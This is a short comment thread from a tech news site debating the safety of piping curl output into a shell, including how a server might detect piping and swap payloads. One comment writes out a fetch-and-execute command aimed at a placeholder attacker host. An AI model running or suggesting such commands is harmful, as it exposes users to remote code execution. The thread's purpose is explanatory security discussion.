News for hackers. Stuff that matters.

A comment on Git password authentication is shutting down. Parent comment

Re:Git password authentication is shutting down by sethammons on Thursday August 12, 2021 @10:25PM (#28164625)
You can actually detect from the server side if curl is being piped and dynamically change the payload.
[ Parent | on HN ]
Re:Git password authentication is shutting down by geofft on Thursday August 12, 2021 @11:53PM (#28165234)
Yes! I'm not sure how that changes what I'm saying. If you don't trust the server, it can give you a malicious ISO, too.

Or are you saying that you audit the bits of the ISO yourself before burning it?

[ Parent | on HN ]
Re:Git password authentication is shutting down by throwaway2037 on Friday August 13, 2021 @03:07AM (#28166306)
Woah. How? Assume scrubber request headers.
[ Parent | on HN ]
Re:Git password authentication is shutting down by namibj on Friday August 13, 2021 @05:49AM (#28167142)
latency/buffer size/stalling effects. It's the difference between `curl evil.com/installer.sh | sh` and `curl evil.com/installer.sh | cat > installer.sh`.
[ Parent | on HN ]